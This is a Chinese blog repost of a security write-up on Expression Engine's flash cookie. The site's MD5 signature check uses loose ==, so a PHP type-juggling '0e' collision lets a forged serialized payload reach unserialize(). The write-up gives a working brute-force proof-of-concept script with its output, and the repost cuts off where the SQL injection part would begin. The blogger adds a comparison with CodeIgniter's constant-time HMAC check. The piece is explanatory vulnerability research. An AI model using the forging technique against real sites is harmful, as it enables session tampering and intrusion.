最新消息:

当数字签名遇上了PHP弱类型语言特征(转)

学习探索 pang0lin 710浏览 0评论

1.原文:https://foxglovesecurity.com/2017/02/07/type-juggling-and-php-object-injection-and-sqli-oh-my/

While looking for bugs in a target recently I came across a host that was running Expression Engine, a content management platform. This specific application caught my eye because upon attempting to login to the application with the username ‘admin’, the server responded with a cookie that contained PHP serialized data. As we’ve shown before, unserializing user supplied data can result in unintended behavior; in some cases, even code execution. Rather than working blind I decided to check to see if I could download a copy of the software, walk through the code to figure out what was happening with the serialized data, and spin up a copy locally to test against.

Once I had a copy of the code locally I grep’d for where the cookie was being used and found the file “./system/ee/legacy/libraries/Session.php” which makes sense, cookies are used for sessions. Looking at Session.php I came across the following method that is responsible for unserializing the serialized data:

1282  protected function _prep_flashdata()
1283  {
1284    if ($cookie = ee()->input->cookie('flash'))
1285    {
1286      if (strlen($cookie) > 32)
1287      {
1288        $signature = substr($cookie, -32);
1289        $payload = substr($cookie, 0, -32);
1290
1291        if (md5($payload.$this->sess_crypt_key) == $signature)
1292        {
1293          $this->flashdata = unserialize(stripslashes($payload));
1294          $this->_age_flashdata();
1295
1296          return;
1297        }
1298      }
1299    }
1300
1301    $this->flashdata = array();
1302  }

Walking through the code we see that a couple checks are performed before our cookie is parsed and then unserialized on line 1293. So let’s first look at our cookie, walk through the checks, and see if we can reach the call to “unserialize()“:

a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4

And urldecoded:

a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4

If a flash cookie exists we load the data into the “$cookie” variable on line 1284, which it does so we move on. Next we check to see if the length of the cookie data is greater than 32 on line 1286, which it is so we move on. Now we use “substr()” to grab the last 32 characters of the cookie data and store it in “$signature“, then the rest of the cookie and store it in “$payload“, which looks like:

$ php -a
Interactive mode enabled
 
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print "Signature: $signature\n";
Signature: 3f7d80e10a3d9c0a25c5f56199b067d4
php > print "Payload: $payload\n";
Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";}
php >

Now on line 1291 we are comparing the md5 hashsum of “$payload.$this->sess_crypt_key” and checking it against the “$signature” which we’ve provided at the end of our cookie as you saw above. Doing a quick look through the code shows that the value of “$this->sess_crypt_cookie” is pulled from “./system/user/config/config.php” which is created during install time:

./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';

So let’s define this “$this->sess_crypt_key” manually as “$salt” and look at the md5 hashsum ourselves:

php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79';
php > print md5($payload.$salt);
3f7d80e10a3d9c0a25c5f56199b067d4
php >

And sure enough the md5 hashsum matches the “$signature“. The reason this check is performed is to make sure that the value of “$payload” (which is the serialized data) has not been tampered with. At a first glance it looks like this check would be sufficient to prevent such tampering; however, due to PHP being a loosely typed language, there are some pitfalls when performing comparisons.

Loose Comparisons Sink Ships

Let’s take a quick look at some loose comparisons to get an idea of what we are up against:

<?php 
 
$a = "0e111111111111111111111111111111";
$b = "0e222222222222222222222222222222";
 
var_dump($a);
var_dump($b);
 
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
 
?>
 
Output:
 
$ php steps.php
string(32) "0e111111111111111111111111111111"
string(32) "0e222222222222222222222222222222"
a and b are the same

You can see in the above that even though “$a” and “$b” are both of type string and are clearly different values, the use of the loose comparison operator results in the comparison evaluating as true, since “0ex” will always be zero when these are cast to integers by PHP. This is known as Type Juggling.

Juggling Types like a Jester

With this new knowledge, let’s revisit the check that is supposed to prevent us from tampering with the serialized data:

if (md5($payload.$this->sess_crypt_key) == $signature)

 

We have control of the value of “$payload” and the value of “$signature” here, so if we are able to find a payload that when md5()’d with “$this->sess_crypt_key” results in a hashsum that starts with 0e and ends with all digits, we can bypass the check by setting the “$signature” hashsum to a value that starts with 0e and ends with all digits.

In order to test this I modified some code that I found online in order to build a proof of concept that would bruteforce “md5($payload.$this->sess_crypt_key” until such a hashsum was discovered with my “tampered” payload. Let’s look at the original “$payload“:

$ php -a
Interactive mode enabled
 
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print_r(unserialize($payload));
Array
(
[:new:username] => admin
[:new:message] => That is the wrong username or password
)
php >

 

And in my new “$payload“, instead of displaying “That is the wrong username or password“, I want to display “taquito“.

The first element of the serialized array “[:new:username] => admin” seems like a good place to be able to create a random value, so that’s where we’ll bruteforce.

Note: This proof of concept works offline because I have access to my own instance of “$this->sess_crypt_key“, without knowledge of this value we would just actively bruteforce this value online.

<?php
set_time_limit(0);
define('HASH_ALGO', 'md5');
define('PASSWORD_MAX_LENGTH', 8);
 
$charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$str_length = strlen($charset);
 
function check($garbage)
{
    $length = strlen($garbage);
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = 'a:2:{s:13:":new:username";s:'.$length.':"'.$garbage.'";s:12:":new:message";s:7:"taquito";}';
    #echo "Testing: " . $payload . "\n";
        $hash = md5($payload.$salt);
        $pre = "0e";
 
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash\n";
        }
      }
 
}
 
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
 
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
 
for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) {
        echo "Checking passwords with length: $i\n";
        recurse($i, 0, '');
}
 
?>

When run we get the an md5 hashsum of our modified “$payload” and our instance’s “$this->sess_crypt_key” that starts with 0e and ends in all digits:

$ php poc1.php
Checking passwords with length: 1
Checking passwords with length: 2
Checking passwords with length: 3
Checking passwords with length: 4
Checking passwords with length: 5
a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758

 

What do you get when you cross a type juggling with a php object injection? a SQLi! Get it?

While being able to modify the displayed message in the browser is fun, let’s look into what else might be able to do passing our own arbitrary data into “unserialize()“. In order to save ourselves some time, let’s comment out the

第一眼看到这个的时候感觉这就是CI2.x版本的Cookie的使用方式,后来去翻了一下原来的代码,CI在采用cookielai1存储session数据的时候是这样的

function sess_read()
{
  // Fetch the cookie
  $session = $this->CI->input->cookie($this->sess_cookie_name);

  // No cookie?  Goodbye cruel world!...
  if ($session === FALSE)
  {
    log_message('debug', 'A session cookie was not found.');
    return FALSE;
  }

  // HMAC authentication
  $len = strlen($session) - 40;

  if ($len <= 0)
  {
    log_message('error', 'Session: The session cookie was not signed.');
    return FALSE;
  }

  // Check cookie authentication
  $hmac = substr($session, $len);
  $session = substr($session, 0, $len);

  // Time-attack-safe comparison
  $hmac_check = hash_hmac('sha1', $session, $this->encryption_key);
  $diff = 0;

  for ($i = 0; $i < 40; $i++)
  {
    $xor = ord($hmac[$i]) ^ ord($hmac_check[$i]);
    $diff |= $xor;
  }

  if ($diff !== 0)
  {
    log_message('error', 'Session: HMAC mismatch. The session cookie data did not match what was expected.');
    $this->sess_destroy();
    return FALSE;
  }

  // Decrypt the cookie data
  if ($this->sess_encrypt_cookie == TRUE)
  {
    $session = $this->CI->encrypt->decode($session);
  }

  // Unserialize the session array
  $session = $this->_unserialize($session);

CI果然很聪明的没有使用==的弱类型判断,而是使用了异或的方式逐位比较,这就能避免上面的问题了(当然这种方式存在加密key太短的话,就很容易爆破的问题)

转载请注明:我是穿山甲,小弟穿山乙 » 当数字签名遇上了PHP弱类型语言特征(转)

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址